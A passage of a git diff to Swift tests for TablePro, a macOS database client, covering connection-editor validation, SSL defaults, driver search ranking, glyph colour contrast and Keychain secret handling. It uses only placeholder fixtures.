"b"]).validationIssues(in: .connection) == ["onlyForB is required"]) - } - - @Test func defaultValuesSeedPerSectionAndAll() { - let fields = [ - field("a", section: .connection, defaultValue: "1"), - field("b", section: .advanced, defaultValue: "2"), - field("c", section: .advanced), - ] - let p = ConnectionPresentation(fields: fields, values: [:]) - #expect(p.defaultValues(in: .connection) == ["a": "1"]) - #expect(p.defaultValues(in: .advanced) == ["b": "2"]) - #expect(p.defaultValues() == ["a": "1", "b": "2"]) - } - - @Test func visibilityCycleTerminates() { - // Two fields each gating the other: must not recurse forever. - let fields = [ - field("x", section: .connection, visibleWhen: .init(fieldId: "y", values: ["on"])), - field("y", section: .connection, visibleWhen: .init(fieldId: "x", values: ["on"])), - ] - let p = ConnectionPresentation(fields: fields, values: ["x": "on", "y": "on"]) - #expect(p.isVisible(fields[0])) - #expect(p.isVisible(fields[1])) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift b/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift index 662459f752..5851747026 100644 --- a/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift +++ b/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift @@ -82,67 +82,87 @@ struct ConnectionTimeoutSettingsTests { #expect(decoded.queryTimeoutSeconds == 0) } + private func traits(_ type: DatabaseType = .mysql) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func advancedIssues(_ draft: ConnectionDraft) -> [String] { + ConnectionEditorEngine.issues(draft, traits(draft.type), EditorContext()) + .filter { $0.facet == .advanced } + .map(\.message) + } + + private func namedDraft() -> ConnectionDraft { + var draft = ConnectionDraft.new(type: .mysql, traits: traits()) + draft.name = "Timeouts" + return draft + } + @Test("Customization loads both timeout overrides") func customizationLoadsTimeoutOverrides() { var connection = DatabaseConnection(name: "Timeouts") connection.connectTimeoutSeconds = 75 connection.queryTimeoutSeconds = 180 - let viewModel = CustomizationPaneViewModel() - viewModel.load(from: connection) + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(connection.type)) + + #expect(draft.options.connectTimeoutSeconds == 75) + #expect(draft.options.queryTimeoutSeconds == 180) + } - #expect(viewModel.connectTimeoutSeconds == 75) - #expect(viewModel.queryTimeoutSeconds == 180) + // One line under the label: the range as a fix, grouped the way the locale writes numbers. + private static func seconds(_ lower: Int, _ upper: Int) -> String { + String(format: String(localized: "Enter %1$@ to %2$@ seconds."), lower.formatted(), upper.formatted()) } @Test("Connect timeout accepts only values from 1 through 600") func validatesConnectTimeout() { - let viewModel = CustomizationPaneViewModel() + var draft = namedDraft() - viewModel.connectTimeoutSeconds = nil - #expect(viewModel.validationIssues.isEmpty) + draft.options.connectTimeoutSeconds = nil + #expect(advancedIssues(draft).isEmpty) - viewModel.connectTimeoutSeconds = 0 - #expect(viewModel.validationIssues == ["Connect timeout must be between 1 and 600 seconds."]) + draft.options.connectTimeoutSeconds = 0 + #expect(advancedIssues(draft) == [Self.seconds(1, 600)]) - viewModel.connectTimeoutSeconds = 600 - #expect(viewModel.validationIssues.isEmpty) + draft.options.connectTimeoutSeconds = 600 + #expect(advancedIssues(draft).isEmpty) - viewModel.connectTimeoutSeconds = 601 - #expect(viewModel.validationIssues == ["Connect timeout must be between 1 and 600 seconds."]) + draft.options.connectTimeoutSeconds = 601 + #expect(advancedIssues(draft) == [Self.seconds(1, 600)]) } @Test("Query timeout accepts only values safe for millisecond APIs") func validatesQueryTimeout() { - let viewModel = CustomizationPaneViewModel() + var draft = namedDraft() let maximum = DatabaseConnection.queryTimeoutSecondsRange.upperBound - viewModel.queryTimeoutSeconds = nil - #expect(viewModel.validationIssues.isEmpty) + draft.options.queryTimeoutSeconds = nil + #expect(advancedIssues(draft).isEmpty) - viewModel.queryTimeoutSeconds = 0 - #expect(viewModel.validationIssues.isEmpty) + draft.options.queryTimeoutSeconds = 0 + #expect(advancedIssues(draft).isEmpty) - viewModel.queryTimeoutSeconds = 120 - #expect(viewModel.validationIssues.isEmpty) + draft.options.queryTimeoutSeconds = 120 + #expect(advancedIssues(draft).isEmpty) - viewModel.queryTimeoutSeconds = maximum - #expect(viewModel.validationIssues.isEmpty) + draft.options.queryTimeoutSeconds = maximum + #expect(advancedIssues(draft).isEmpty) - viewModel.queryTimeoutSeconds = maximum + 1 - #expect(viewModel.validationIssues == ["Query timeout must be between 0 and 2,147,483 seconds."]) + draft.options.queryTimeoutSeconds = maximum + 1 + #expect(advancedIssues(draft) == [Self.seconds(0, 2_147_483)]) - viewModel.queryTimeoutSeconds = -1 - #expect(viewModel.validationIssues == ["Query timeout must be between 0 and 2,147,483 seconds."]) + draft.options.queryTimeoutSeconds = -1 + #expect(advancedIssues(draft) == [Self.seconds(0, 2_147_483)]) } @Test("Connection form edits include both timeout overrides") func coordinatorBuildsTimeoutEdits() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.customization.connectTimeoutSeconds = 90 - coordinator.customization.queryTimeoutSeconds = 0 + var draft = namedDraft() + draft.options.connectTimeoutSeconds = 90 + draft.options.queryTimeoutSeconds = 0 - let edits = coordinator.buildEdits() + let edits = ConnectionEditorEngine.edits(draft, traits(), originalTraits: nil, EditorContext()) #expect(edits.connectTimeoutSeconds == 90) #expect(edits.queryTimeoutSeconds == 0) diff --git a/apple/TableProTests/ViewModels/DatabaseTypeChooserModelTests.swift b/apple/TableProTests/ViewModels/DatabaseTypeChooserModelTests.swift index e1004b3927..495aa29b99 100644 --- a/apple/TableProTests/ViewModels/DatabaseTypeChooserModelTests.swift +++ b/apple/TableProTests/ViewModels/DatabaseTypeChooserModelTests.swift @@ -20,7 +20,7 @@ struct DatabaseTypeChooserModelTests { DatabaseTypeChooserModel(types: [.postgresql, .cockroachdb, .pglite, .mysql, .mariadb, .sqlite]) } - @Test("a query naming a driver exactly arms that driver, not an alphabetically earlier tagline hit") + @Test("a query naming a driver exactly lists and arms that driver ahead of a tagline hit") func exactNameOutranksATaglineMatch() { let model = model() model.searchText = "PostgreSQL" @@ -29,10 +29,34 @@ struct DatabaseTypeChooserModelTests { model.filteredTypes.contains(.cockroachdb), "CockroachDB's tagline mentions PostgreSQL, so it is still a visible result" ) - #expect(model.orderedTypes.first != .postgresql, "CockroachDB sorts ahead of it on screen") + #expect(model.orderedTypes.first == .postgresql, "The named driver lists first, ahead of CockroachDB") #expect(model.highlightedType == .postgresql, "The armed row must be the driver that was named") } + // "p" armed PGlite, and "post" kept it because PGlite's tagline says Postgres, so Return opened PGlite. + @Test("typing on past a prefix moves the highlight to the best match") + func typingOnArmsTheBestMatch() { + let model = model() + model.searchText = "p" + #expect(model.highlightedType == .pglite, "Both names start with p, and PGlite sorts first") + + for query in ["po", "pos", "post"] { + model.searchText = query + #expect(model.highlightedType == .postgresql, "\(query) begins only PostgreSQL's name") + #expect(model.orderedTypes.first == .postgresql) + } + } + + @Test("a name match lists ahead of matches on the tagline or category") + func nameMatchesListFirst() { + let model = model() + model.searchText = "sql" + let rows = model.orderedTypes + let named = rows.prefix { $0.rawValue.lowercased().contains("sql") } + #expect(named.count == rows.filter { $0.rawValue.lowercased().contains("sql") }.count) + #expect(model.highlightedType == .sqlite, "A name that begins with the query outranks one that holds it") + } + @Test("MySQL is armed over MariaDB, whose tagline names it") func exactNameOutranksAForkTagline() { let model = model() diff --git a/apple/TableProTests/ViewModels/RemoteFilePaneValidationTests.swift b/apple/TableProTests/ViewModels/RemoteFilePaneValidationTests.swift deleted file mode 100644 index 374ae2e544..0000000000 --- a/apple/TableProTests/ViewModels/RemoteFilePaneValidationTests.swift +++ /dev/null @@ -1,65 +0,0 @@ -// -// RemoteFilePaneValidationTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -/// `isFormValid` reads every pane's issues, visible or not. -/// -/// The Remote File pane edits the same `SSHTunnelFormState` the SSH Tunnel pane does, so a version -/// of it that answered whenever SSH was enabled told every MySQL and PostgreSQL connection with a -/// tunnel that it needed a remote database file path, and disabled Save and Test on all of them. -@MainActor -struct RemoteFilePaneValidationTests { - private func coordinator(type: DatabaseType) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - return coordinator - } - - @Test("An SSH-tunnelled network connection is never asked for a remote file path") - func networkConnectionWithTunnelStaysValid() { - for type in [DatabaseType.mysql, .postgresql] { - let coordinator = coordinator(type: type) - coordinator.ssh.state.enabled = true - coordinator.ssh.state.host = "bastion.example.com" - coordinator.ssh.state.username = "deploy" - - #expect(coordinator.remoteFile.validationIssues.isEmpty) - } - } - - @Test("A file-backed connection with SSH on but no path is told what is missing") - func fileBackedConnectionRequiresAPath() { - let coordinator = coordinator(type: .sqlite) - coordinator.ssh.state.enabled = true - coordinator.ssh.state.host = "prod-1" - coordinator.ssh.state.username = "deploy" - coordinator.ssh.state.remoteFilePath = "" - - #expect(coordinator.remoteFile.validationIssues.count == 1) - } - - @Test("A file-backed connection naming both a server and a path has nothing to report") - func completeRemoteFileIsValid() { - let coordinator = coordinator(type: .sqlite) - coordinator.ssh.state.enabled = true - coordinator.ssh.state.host = "prod-1" - coordinator.ssh.state.username = "deploy" - coordinator.ssh.state.remoteFilePath = "/srv/app.db" - - #expect(coordinator.remoteFile.validationIssues.isEmpty) - } - - @Test("SSH switched off leaves nothing to validate") - func disabledSSHReportsNothing() { - let coordinator = coordinator(type: .sqlite) - coordinator.ssh.state.enabled = false - - #expect(coordinator.remoteFile.validationIssues.isEmpty) - } -} diff --git a/apple/TableProTests/ViewModels/SSLPaneViewModelTests.swift b/apple/TableProTests/ViewModels/SSLPaneViewModelTests.swift deleted file mode 100644 index 9cff10a01a..0000000000 --- a/apple/TableProTests/ViewModels/SSLPaneViewModelTests.swift +++ /dev/null @@ -1,184 +0,0 @@ -// -// SSLPaneViewModelTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct SSLPaneViewModelTests { - @Test("resetForType applies engine's native default for PostgreSQL") - func testResetForPostgreSQL() { - let viewModel = SSLPaneViewModel() - viewModel.select(.disabled) - viewModel.resetForType(.postgresql) - #expect(viewModel.mode == .preferred) - } - - @Test("resetForType applies engine's native default for SQL Server") - func testResetForMSSQL() { - let viewModel = SSLPaneViewModel() - viewModel.select(.disabled) - viewModel.resetForType(.mssql) - #expect(viewModel.mode == .preferred) - } - - @Test("resetForType keeps disabled for binary-TLS engines") - func testResetForRedis() { - let viewModel = SSLPaneViewModel() - viewModel.select(.required) - viewModel.resetForType(.redis) - #expect(viewModel.mode == .disabled) - } - - @Test("resetForType clears certificate paths") - func testResetClearsPaths() { - let viewModel = SSLPaneViewModel() - viewModel.caCertPath = "/tmp/ca.pem" - viewModel.clientCertPath = "/tmp/client.crt" - viewModel.clientKeyPath = "/tmp/client.key" - viewModel.resetForType(.postgresql) - #expect(viewModel.caCertPath.isEmpty) - #expect(viewModel.clientCertPath.isEmpty) - #expect(viewModel.clientKeyPath.isEmpty) - } - - @Test("resetForType for unknown future engine falls back to disabled") - func testResetForUnknownType() { - let viewModel = SSLPaneViewModel() - viewModel.select(.required) - viewModel.resetForType(DatabaseType(rawValue: "FutureDB")) - #expect(viewModel.mode == .disabled) - } - - private func verifyIdentityIssues(for type: DatabaseType, caCertPath: String = "") -> [String] { - issues(for: type, mode: .verifyIdentity, caCertPath: caCertPath) - } - - private func issues(for type: DatabaseType, mode: SSLMode, caCertPath: String = "") -> [String] { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - coordinator.ssl.select(mode) - coordinator.ssl.caCertPath = caCertPath - return coordinator.ssl.validationIssues - } - - @Test("Verify Identity without a CA file saves for SAP HANA and Kafka, which trust the system roots") - func systemTrustStoreEnginesNeedNoCAFile() { - for type in [DatabaseType.sapHana, .kafka] { - #expect(type.verifiesServerWithSystemTrust) - #expect(verifyIdentityIssues(for: type).isEmpty) - } - } - - @Test("Verify Identity without a CA file is refused for engines that need one") - func fileTrustEnginesStillRequireACAFile() { - #expect(!DatabaseType.mysql.verifiesServerWithSystemTrust) - #expect(verifyIdentityIssues(for: .mysql).count == 1) - #expect(verifyIdentityIssues(for: .mysql, caCertPath: "/tmp/ca.pem").isEmpty) - } - - @Test( - "The libpq engines save Verify Identity without a CA file and still need one for Verify CA", - arguments: [DatabaseType.postgresql, .redshift, .cockroachdb, .kingbasees] - ) - func libpqEnginesNeedACAFileOnlyForVerifyCA(type: DatabaseType) { - #expect(type.verifiesServerWithSystemTrust) - #expect(verifyIdentityIssues(for: type).isEmpty) - #expect(issues(for: type, mode: .verifyCa).count == 1) - #expect(issues(for: type, mode: .verifyCa, caCertPath: "/tmp/ca.pem").isEmpty) - } - - @Test("A Trino port of 443 escalates the type default to Verify Identity, and another port reverts it") - func testReconcileFollowsTheTLSPort() { - let viewModel = SSLPaneViewModel() - viewModel.resetForType(.trino) - - viewModel.reconcile(port: 443, type: .trino) - #expect(viewModel.mode == .verifyIdentity) - #expect(viewModel.origin == .impliedByPort) - - viewModel.reconcile(port: 4_430, type: .trino) - #expect(viewModel.mode == .disabled) - #expect(viewModel.origin == .typeDefault) - } - - @Test("A selected mode is never changed by the port") - func testReconcileKeepsASelectedMode() { - let viewModel = SSLPaneViewModel() - viewModel.resetForType(.trino) - viewModel.select(.disabled) - - viewModel.reconcile(port: 443, type: .trino) - #expect(viewModel.mode == .disabled) - #expect(viewModel.origin == .chosen) - } - - @Test("A stored Disabled on port 443 is still the type default, so editing the port escalates it") - func testLoadedDefaultModeCanStillEscalate() { - let connection = DatabaseConnection( - name: "Trino", port: 443, type: .trino, sslConfig: SSLConfiguration(mode: .disabled) - ) - let viewModel = SSLPaneViewModel() - viewModel.load(from: connection) - #expect(viewModel.origin == .typeDefault) - - viewModel.reconcile(port: 443, type: .trino) - #expect(viewModel.mode == .verifyIdentity) - } - - @Test("A stored Verify Identity is a choice, so moving off port 443 keeps it") - func testLoadedNonDefaultModeIsAChoice() { - let connection = DatabaseConnection( - name: "Trino", port: 443, type: .trino, sslConfig: SSLConfiguration(mode: .verifyIdentity) - ) - let viewModel = SSLPaneViewModel() - viewModel.load(from: connection) - #expect(viewModel.origin == .chosen) - - viewModel.reconcile(port: 8_080, type: .trino) - #expect(viewModel.mode == .verifyIdentity) - } - - @Test("An imported explicit mode is a choice, and an import with no mode follows the port") - func testApplyImported() { - let viewModel = SSLPaneViewModel() - - viewModel.applyImported(SSLModeResolution(mode: .required, origin: .chosen)) - #expect(viewModel.mode == .required) - #expect(viewModel.origin == .chosen) - - viewModel.applyImported(DatabaseType.trino.sslModeResolution(forPort: 443)) - #expect(viewModel.mode == .verifyIdentity) - #expect(viewModel.origin == .impliedByPort) - - viewModel.reconcile(port: 8_080, type: .trino) - #expect(viewModel.mode == .disabled) - #expect(viewModel.origin == .typeDefault) - } - - @Test("An imported ssl=false turns SSL off even where the driver defaults to Preferred") - func testImportedSSLFalseIsDisabled() throws { - guard case .success(let parsed) = ConnectionURLParser.parse("mysql://root@db.example.com/shop?ssl=false") else { - Issue.record("Expected the URL to parse") - return - } - let viewModel = SSLPaneViewModel() - viewModel.applyImported(parsed.sslModeResolution) - #expect(viewModel.mode == .disabled) - #expect(viewModel.origin == .chosen) - } - - @Test("A type with no TLS ports ignores the port") - func testReconcileIgnoresTypesWithoutTLSPorts() { - let viewModel = SSLPaneViewModel() - viewModel.resetForType(.postgresql) - - viewModel.reconcile(port: 443, type: .postgresql) - #expect(viewModel.mode == .preferred) - #expect(viewModel.origin == .typeDefault) - } -} diff --git a/apple/TableProTests/Views/Connection/CommandPreviewThemeTests.swift b/apple/TableProTests/Views/Connection/CommandPreviewThemeTests.swift index 4750592f0b..cf06793877 100644 --- a/apple/TableProTests/Views/Connection/CommandPreviewThemeTests.swift +++ b/apple/TableProTests/Views/Connection/CommandPreviewThemeTests.swift @@ -56,11 +56,15 @@ struct CommandPreviewThemeTests { @Test("The tunnel command's Will Run preview sits in an editor-themed well") func tunnelPreviewWearsTheEditorTheme() throws { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.tunnelCommand.state.config.method = .custom - coordinator.tunnelCommand.state.config.command = "ssh -N -L {port}:{host}:{remotePort} bastion" - try #require(coordinator.tunnelCommandPreview != nil) - let form = Form { TunnelCommandTransportSections(coordinator: coordinator) }.formStyle(.grouped) + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) + store.selectTransport(.tunnelCommand) + store.update { + $0.tunnelCommand.config.method = .custom + $0.tunnelCommand.config.command = "ssh -N -L {port}:{host}:{remotePort} bastion" + } + try #require(store.tunnelCommandPreview != nil) + let form = Form { TransportCommandRow(row: .tunnelCommandPreview, store: store) }.formStyle(.grouped) try ThemeTestFixture.adopting(ThemeTestFixture.pair([.editorBackground: "#FF00FF"]), appearance: .light) { let themed = try magentaCount(form, size: Self.formSize) diff --git a/apple/TableProTests/Views/Connection/ConnectionRecoveryPresentationTests.swift b/apple/TableProTests/Views/Connection/ConnectionRecoveryPresentationTests.swift index 2c52fe8d6a..1bb22332b6 100644 --- a/apple/TableProTests/Views/Connection/ConnectionRecoveryPresentationTests.swift +++ b/apple/TableProTests/Views/Connection/ConnectionRecoveryPresentationTests.swift @@ -61,4 +61,18 @@ struct ConnectionRecoveryPresentationTests { #expect(requests == [.revealPlugin("com.TablePro.SQLiteDriver"), .revealPlugin(nil)]) } + + @Test("Edit Connection opens the editor on its first issue, through the opener it was handed") + func editConnectionOpensOnTheFirstIssue() { + let opener = WindowOpener() + var opened: [(ConnectionFormRequest, ConnectionEditorFacetChoice?)] = [] + opener.setConnectionFormPresenter { opened.append(($0, $1)) } + let connection = TestFixtures.makeConnection() + + ConnectionRecoveryPerformer.perform(.editConnection, for: connection, opener: opener) + + #expect(opened.count == 1) + #expect(opened.first?.0 == .edit(connectionId: connection.id)) + #expect(opened.first?.1 == .firstIssue) + } } diff --git a/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift b/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift new file mode 100644 index 0000000000..62ac53caed --- /dev/null +++ b/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift @@ -0,0 +1,96 @@ +// +// ConnectionTileGlyphColorTests.swift +// TableProTests +// + +import AppKit +import Foundation +import Testing + +@testable import TablePro + +// Brand hues are picked for a white page: on the dark tile PostgreSQL's elephant nearly vanished. +@MainActor +struct ConnectionTileGlyphColorTests { + private static let postgresBlue = NSColor(srgbRed: 0x33 / 255, green: 0x67 / 255, blue: 0x91 / 255, alpha: 1) + private static let yellow = NSColor(srgbRed: 0xFF / 255, green: 0xD1 / 255, blue: 0x00 / 255, alpha: 1) + private static let orange = NSColor(srgbRed: 0xF2 / 255, green: 0x91 / 255, blue: 0x11 / 255, alpha: 1) + private static let tolerance: CGFloat = 0.01 + + private struct Resolved { + let glyph: NSColor + let tileLuminance: CGFloat + + var contrast: CGFloat { + ConnectionTileMetrics.contrast(glyph.relativeLuminance, tileLuminance) + } + } + + private func resolve(_ brand: NSColor, in name: NSAppearance.Name) throws -> Resolved { + let appearance = try #require(NSAppearance(named: name)) + let color = ConnectionTileMetrics.glyphColor(brand: brand) + var glyph: NSColor? + var tile: CGFloat = 0 + appearance.performAsCurrentDrawingAppearance { + glyph = color.usingColorSpace(.sRGB) + tile = ConnectionTileMetrics.tileLuminance() + } + return Resolved(glyph: try #require(glyph), tileLuminance: tile) + } + + private func hue(of color: NSColor) -> CGFloat { + var hue: CGFloat = 0 + var saturation: CGFloat = 0 + var brightness: CGFloat = 0 + var alpha: CGFloat = 0 + color.usingColorSpace(.sRGB)?.getHue(&hue, saturation: &saturation, brightness: &brightness, alpha: &alpha) + return hue + } + + @Test("PostgreSQL's blue fails on the dark tile as drawn, and the lifted glyph clears the floor") + func postgresBlueIsLiftedInDarkMode() throws { + let resolved = try resolve(Self.postgresBlue, in: .darkAqua) + let raw = ConnectionTileMetrics.contrast(Self.postgresBlue.relativeLuminance, resolved.tileLuminance) + + #expect(raw < ConnectionTileMetrics.minimumGlyphContrast) + #expect(resolved.contrast >= ConnectionTileMetrics.minimumGlyphContrast - Self.tolerance) + #expect(abs(hue(of: resolved.glyph) - hue(of: Self.postgresBlue)) < Self.tolerance) + } + + @Test("Light Mode draws the brand colour as it is") + func lightModeKeepsTheBrand() throws { + let resolved = try resolve(Self.postgresBlue, in: .aqua) + #expect(abs(resolved.glyph.redComponent - Self.postgresBlue.redComponent) < Self.tolerance) + #expect(abs(resolved.glyph.greenComponent - Self.postgresBlue.greenComponent) < Self.tolerance) + #expect(abs(resolved.glyph.blueComponent - Self.postgresBlue.blueComponent) < Self.tolerance) + } + + @Test("A brand that already clears the dark tile is left alone") + func legibleBrandIsUntouched() throws { + let resolved = try resolve(Self.yellow, in: .darkAqua) + #expect(abs(resolved.glyph.redComponent - Self.yellow.redComponent) < Self.tolerance) + #expect(abs(resolved.glyph.greenComponent - Self.yellow.greenComponent) < Self.tolerance) + #expect(abs(resolved.glyph.blueComponent - Self.yellow.blueComponent) < Self.tolerance) + } + + // MySQL's orange cleared 3:1 and still read as a smudge at tile size. + // The tile as the editor drew it in Dark Mode: (69, 67, 67), quaternary label over the form's row. + @Test("A brand over 3:1 but under the text floor is lifted too, keeping its hue") + func thinLineArtNeedsTheTextFloor() { + let tile: CGFloat = 0.058 + let raw = ConnectionTileMetrics.contrast(Self.orange.relativeLuminance, tile) + let lifted = ConnectionTileMetrics.liftedGlyph(Self.orange, onTileLuminance: tile) + + #expect(raw >= 3) + #expect(raw < ConnectionTileMetrics.minimumGlyphContrast) + #expect(ConnectionTileMetrics.contrast(lifted.relativeLuminance, tile) >= ConnectionTileMetrics.minimumGlyphContrast - Self.tolerance) + #expect(abs(hue(of: lifted) - hue(of: Self.orange)) < Self.tolerance) + } + + @Test("A hue too dark at full brightness gives up saturation and still clears 3:1") + func pureBlueClearsTheFloor() throws { + let blue = NSColor(srgbRed: 0, green: 0, blue: 1, alpha: 1) + let resolved = try resolve(blue, in: .darkAqua) + #expect(resolved.contrast >= ConnectionTileMetrics.minimumGlyphContrast - Self.tolerance) + } +} diff --git a/apple/TableProTests/Views/Connection/DatabaseTypeInstallCheckTests.swift b/apple/TableProTests/Views/Connection/DatabaseTypeInstallCheckTests.swift new file mode 100644 index 0000000000..dcdd5366a0 --- /dev/null +++ b/apple/TableProTests/Views/Connection/DatabaseTypeInstallCheckTests.swift @@ -0,0 +1,26 @@ +// +// DatabaseTypeInstallCheckTests.swift +// TableProTests +// + +import Foundation +import Testing + +@testable import TablePro + +@MainActor +struct DatabaseTypeInstallCheckTests { + @Test("Only a registry driver that is not installed asks for an install") + func onlyAMissingRegistryDriverAsks() { + #expect(DatabaseTypeInstallCheck.requirement(isInstalled: false, isDownloadable: true) == .install) + #expect(DatabaseTypeInstallCheck.requirement(isInstalled: true, isDownloadable: true) == .ready) + #expect(DatabaseTypeInstallCheck.requirement(isInstalled: true, isDownloadable: false) == .ready) + } + + // A download cannot fix a bundled driver that failed to load; the connect attempt says why. + @Test("A bundled driver that did not load is never offered a download") + func bundledDriverNeverAsks() { + #expect(DatabaseTypeInstallCheck.requirement(isInstalled: false, isDownloadable: false) == .ready) + #expect(DatabaseTypeInstallCheck.requirement(for: .postgresql) == .ready) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/ClearedSecretSaveTests.swift b/apple/TableProTests/Views/ConnectionForm/ClearedSecretSaveTests.swift deleted file mode 100644 index 6fb078d974..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/ClearedSecretSaveTests.swift +++ /dev/null @@ -1,167 +0,0 @@ -import Foundation -import TableProSSHConfig -import Testing - -@testable import TablePro - -// A secret left behind still authenticates the next connect, rides along in an export and is copied by a duplicate. -@MainActor -struct ClearedSecretSaveTests { - private let suite: EphemeralDefaults - - init() throws { - suite = try EphemeralDefaults() - } - - private final class ScriptedKeychain: KeychainStoring, @unchecked Sendable { - private let lock = NSLock() - private var result: KeychainStringResult - - init(_ result: KeychainStringResult) { - self.result = result - } - - @discardableResult - func writeString(_ value: String, forKey key: String) -> Bool { true } - - func readStringResult(forKey key: String) -> KeychainStringResult { - lock.lock() - defer { lock.unlock() } - return result - } - - func delete(forKey key: String) {} - } - - private func makeStorage(_ result: KeychainStringResult) -> ConnectionStorage { - let unique = UUID().uuidString - let fileURL = FileManager.default.temporaryDirectory - .appendingPathComponent("tablepro-tests") - .appendingPathComponent(unique) - .appendingPathComponent("connections.json") - try? FileManager.default.createDirectory( - at: fileURL.deletingLastPathComponent(), - withIntermediateDirectories: true - ) - return ConnectionStorage( - fileURL: fileURL, - userDefaults: suite.defaults, - keychain: ScriptedKeychain(result) - ) - } - - @Test("Clearing a password that was stored asks for the stored one to be deleted") - func clearedPasswordIsDeleted() { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(.found("hunter2"))) - model.password = "" - - #expect(model.clearsStoredPassword) - } - - @Test("Leaving a loaded password in place deletes nothing") - func untouchedPasswordIsKept() { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(.found("hunter2"))) - - #expect(!model.clearsStoredPassword) - } - - @Test("An empty field on a connection that never had a password deletes nothing") - func neverStoredDeletesNothing() { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(.notFound)) - model.password = "" - - #expect(!model.clearsStoredPassword) - } - - @Test( - "A keychain that could not be read never causes a delete", - arguments: [ - KeychainStringResult.locked, - .userCancelled, - .authFailed, - .error(-25_300), - ] - ) - func unreadableKeychainNeverDeletes(_ result: KeychainStringResult) { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(result)) - model.password = "" - - #expect(!model.clearsStoredPassword) - } - - @Test("Switching to prompt mode is handled by the prompt arm, not by the cleared arm") - func promptModeIsNotACleared() { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(.found("hunter2"))) - model.password = "" - model.promptForPassword = true - - #expect(!model.clearsStoredPassword) - #expect(model.effectivePromptForPassword) - } - - @Test("An emptied inline SSH password and passphrase are deleted too") - func clearedInlineSSHSecretsAreDeleted() { - var state = SSHTunnelFormState() - state.enabled = true - state.loadSecrets(connectionId: UUID(), storage: makeStorage(.found("secret"))) - state.password = "" - state.keyPassphrase = "" - - #expect(state.clearsStoredPassword) - #expect(state.clearsStoredKeyPassphrase) - } - - @Test("An inline SSH secret that could not be read is never deleted") - func unreadableInlineSSHSecretsAreKept() { - var state = SSHTunnelFormState() - state.enabled = true - state.loadSecrets(connectionId: UUID(), storage: makeStorage(.locked)) - state.password = "" - state.keyPassphrase = "" - - #expect(!state.clearsStoredPassword) - #expect(!state.clearsStoredKeyPassphrase) - } - - @Test("Showing an inline SSH secret the Keychain returned asks for authentication first") - func savedInlineSSHSecretsNeedAuthenticationToShow() { - var state = SSHTunnelFormState() - state.enabled = true - state.loadSecrets(connectionId: UUID(), storage: makeStorage(.found("secret"))) - - #expect(state.savedSecrets == [.password, .keyPassphrase, .totpSecret]) - } - - @Test("A connection with no inline SSH secrets has nothing to guard") - func absentInlineSSHSecretsNeedNoAuthentication() { - var state = SSHTunnelFormState() - state.enabled = true - state.loadSecrets(connectionId: UUID(), storage: makeStorage(.notFound)) - - #expect(state.savedSecrets.isEmpty) - } - - @Test("An edit through the shared SSH fields lands on the form state, secrets included") - func sharedFieldsWriteThrough() { - var state = SSHTunnelFormState() - var server = state.server - server.host = "bastion.example.com" - server.port = "2222" - server.authMethod = .privateKey - server.keyPassphrase = "phrase" - server.addJumpHost() - state.server = server - - #expect(state.host == "bastion.example.com") - #expect(state.port == "2222") - #expect(state.authMethod == .privateKey) - #expect(state.keyPassphrase == "phrase") - #expect(state.jumpHosts.count == 1) - #expect(state.server == server) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift b/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift index 1321194464..025f008db2 100644 --- a/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift @@ -4,11 +4,17 @@ // // Browse… used to filter by allowedContentTypes, which matches names only, so a SQLite database // without one of the seven extensions could not be picked. New… did not exist: an open panel has -// no name field, so a database file that did not exist yet could only be typed by hand. +// no name field, so a database file that did not exist yet could only be typed by hand. Then the +// enable filter read each file's bytes while the panel browsed, and in Documents that read waited +// on the consent prompt with the main thread blocked. // +import Darwin import Foundation +import os @testable import TablePro +import TableProTestSupport +import TableProUtilities import Testing @MainActor @@ -44,34 +50,149 @@ struct DatabaseFilePanelTests { #expect(rule.isEnabled(try file("Mixed.Db"))) } - @Test("A SQLite database with no extension, or another app's, is enabled by its bytes") - func sqliteBytesEnableAnyName() throws { + @Test("A SQLite database with no extension, or another app's, is enabled and passes once picked") + func sqliteWithAnyNameIsEnabledAndPasses() throws { let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) + let history = try file("History", contents: sqliteHeader) + let tiles = try file("tiles.mbtiles", contents: sqliteHeader) + let map = try file("map.gpkg", contents: sqliteHeader) + + #expect(rule.isEnabled(history), "A browser history file is SQLite") + #expect(rule.isEnabled(tiles)) + #expect(rule.isEnabled(map)) + try rule.validate(history) + try rule.validate(tiles) + try rule.validate(map) + } + + @Test("Browsing never reads a file, whatever its name says") + func browsingNeverReadsAFile() throws { + let reads = OSAllocatedUnfairLock(initialState: 0) + let rule = DatabaseFileBrowseRule( + type: .sqlite, + extensions: sqliteExtensions, + classify: { _ in + reads.withLock { $0 += 1 } + return 